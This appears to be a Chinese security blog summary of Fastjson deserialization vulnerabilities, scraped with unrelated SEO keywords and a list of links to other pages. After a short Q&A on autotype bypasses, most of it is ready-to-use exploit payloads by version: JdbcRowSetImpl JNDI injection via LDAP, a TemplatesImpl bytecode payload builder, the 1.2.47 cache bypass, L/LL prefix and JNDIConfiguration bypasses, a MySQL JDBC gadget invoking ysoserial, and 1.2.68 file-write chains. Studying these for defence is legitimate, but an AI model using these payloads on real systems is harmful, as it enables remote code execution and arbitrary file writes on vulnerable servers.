当前位置: 首页 > news >正文

建网站收费网站开发外包不给ftp

建网站收费,网站开发外包不给ftp,广告设计培训哪家好,wordpress修改域名后打不开0x00 前言 这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。 0x01 Fastjson基础知识点 1.常见问题: 问:fastjson的触发点是什么?…

0x00 前言

这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。

0x01 Fastjson基础知识点

1.常见问题:

问:fastjson的触发点是什么?

fastjson的触发点是parseObject

问:fastjson payload最明显的特征是什么?

@type

问:fastjson 最早的利用版本是什么

1.2.24以下的版本

问:fastjson 除了可以执行命令还可以做什么其他的事情

因为fastjson本质是执行代码,所以可以做所有代码能够实现的事情

问:fastjson 的对抗历史中,主要是在绕过和对抗什么

checkautotype

问:fastjson对抗历史中,绕过Autotype的方式有哪些

Autotype开启

  • 类名L
  • 类名LL
  • 类名[
  • JNDIConfiguration绕过(黑名单不存在)

Autotype未开启

  • 1.2.48 缓存绕过
  • 1.2.68 白名单绕过

问:简述一下1.2.48缓存绕过的原理

首先通过Java.lang.class 将调用的类load进map,然后进行第二次@type调用,因为map中存在的,所以直接会获取到class。

0x02 POC

1.探测

1.1 DNSLOG

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}

{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

2.利用

2.1 不开启AutoType

<= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}

如果 Feature.SupportNonPublicField开启,则使用下面的payload

        final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.getEncoder().encodeToString(bytes);String payload = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+encoded+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}";return payload;

1.2.25 < 1.2.48

{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/#Exploit", "autoCommit": true}}

1.2.68
这个需要使用mysql利用工具

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections5_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

文件操作

{ "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "C:/Users/wdd/Desktop/ls/ls/1.txt", "tempPath": "C:/Users/wdd/Desktop/ls/1.txt"}

文件写入

{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "C:/Users/wdd/Desktop/ls/ls/4.txt","tempPath": "a"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "Y2VzaGk=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "com.sleepycat.bind.serial.SerialOutput","out": {"$ref": "$.writer"}}
}

2.2 开启AutoType

1.2.25

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.60

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://localhost:9999/a"
}

2.3 版本 1.2.5 <= 1.2.60

0x03 Fastjson调用链

历史版本

  • Java代码审计——Fastjson < 24 反序列
  • Java代码审计——Fastjson1.2.25反序列化漏洞
  • Java代码审计——Fastjson1.2.42反序列化漏洞
  • Java代码审计——Fastjson1.2.43反序列化漏洞
    • Java代码审计——Fastjson1.2.47反序列化漏洞
  • Java代码审计——Fastjson1.2.60反序列化漏洞

1.2.68

  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Exception
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Mysql RCE
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件

调用链

  • Java代码审计——Fastjson JdbcRowSetImpl调用链
  • Java代码审计——fastjson TemplatesImpl调用链
http://www.yayakq.cn/news/897755/

相关文章:

  • 建设网站的功能及目的是什么意思跨境电商知名网站建设
  • 长宁免费网站制作小程序开发工具
  • O2O网站开发工程师视频网站做cpa
  • 怎么做一家网站甘肃省建设厅执业资格注册中心网站
  • 企业网站静态模板百度互联网营销
  • 网站制作 番禺七七网站建设
  • 什么网站能免费做推广微信里的小程序找不到了
  • 网站开发交接表惠普网站建设的目标
  • 网站地图页面android聊天软件开发
  • 建设网站翻译英文翻译微信公众号前端开发流程
  • 常用网站缩略图自定义快速软件开发平台
  • 金山网站建设公司登录网站软件怎么做
  • 专题网站建设意义何在镇江丹阳怎么样
  • 网站建设_制作_设计互联网推广营销隐迅推知名
  • ps网站页面设计教程上海外贸网站优化
  • 网站只能用ip访问网站苏州网站建设系统找哪家
  • 企业网站推广哪家好牟平建设局网站
  • 网站策划建站设计师必备的6个网站
  • 赣州网站建设百家号上海 网站开发 兼职
  • 做优惠券网站需要淘宝哪些接口四个平台建设网站不显示图片
  • jsp 哪些网站希音跨境电商官网入口
  • 网站收录批量查询弄一个app要多少钱
  • 代做毕业设计网站多少钱公司展厅
  • 普洱专业企业网站建设淘宝网站建设论文
  • 免费网站建设ppt东阳建设公司网站
  • 上海企业网站营销电话备份文件wordpress
  • 汉川市城乡建设局网站论述网站建设引言
  • 大家做网站都会去哪找素材字母logo设计生成器
  • 桂阳网站设计公司网站建站收费
  • 北京所有做招聘类网站建站公司网络营销有哪些推广平台